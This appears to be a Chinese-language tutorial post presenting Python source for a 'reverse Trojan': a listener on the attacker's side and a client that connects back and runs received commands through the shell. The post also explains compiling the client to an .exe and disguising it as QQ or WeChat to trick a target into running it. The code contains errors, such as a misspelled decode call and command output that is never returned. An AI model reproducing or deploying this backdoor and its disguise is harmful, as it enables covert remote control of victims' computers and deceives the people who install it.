Introduction
由于正向实现较难,且容易失败,考虑使用逆向实现。在被控端运行程序,发送提示致主控端,再在主控端进行操作
Source program
Reverse Trojan horse master (computing)
import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
try:
while True:
self.data = self.request.recv(1024)
print(self.data.deconde(),"\n")
cmd = input("(quit退出>>").strip()
if cmd == 0:
continue
if cmd == "quit":
break
if not self.data:
print("connection lost")
break
self.request.sendall(cmd.encode())
except Exception as e:
print(self.client_address,"连接断开")
finally:
self.request.close()
def setup(self):
print("before handle,连接建立",self.client_address)
def finish(self):
print("finish run after handle")
if __name__ == "__main__":
HOST = "localhost"
PORT = 9999
server = socketserver.TCPServer((HOST,PORT),MyTCPHandler)
server.serve_forever()
Reverse Trojan horse client (computing)
import subprocess
import socket
def run_command(command):
command = command.rstrip()
#print(type(command))
#command="calc"
try:
child = subprocess.run(command,shell=True)
except Exception as e:
child = '命令执行失败\n'
return child
client = socket.socket()
#连接主控端的IP地址
client.connect(('0.0.0.0',9999))
while True:
Message = "welcome"
client.send(Message.encode())
data = client.recv(1024)
data=data.decode()
output = run_command(data)
#print(output.stdout)
client.close()
Specific methods of operation
由于被控端可能没有安装python,或者在被控端上安装python比较困难或麻烦,此时可以考虑将被控端.py
文件转换为.exe
文件。可以使用auto-py-to-exe
工具,auto-py-to-exe
是一个用于将python程序打包成可执行文件的图形化工具,但要求python环境要高于2.7
。
安装使用auto-py-to-exe
教程:
1. 调出cmd
命令框,输入pip install auto-py-to-exe
,然后等待其安装完成即可。
2. 在cmd
命令框中输入auto-py-to-exe
,即可启动。
3. 启动成功后可以在页面中选择语言。
4. 选择你想要装换的.py
文件,然后可以设置转换后的图标、文件生成路径等。
5. 转换完成后双击.exe
文件即可有与原.py
文件一样的效果。
将装换好的被控端程序.exe
文件以一定方法给目标电脑(伪装成QQ、微信等常用软件),当目标启动程序后会自动发送至主控端(主控端防火墙、杀毒软件需关闭),此时再主控端操作即可。
就是个木马远程监听项目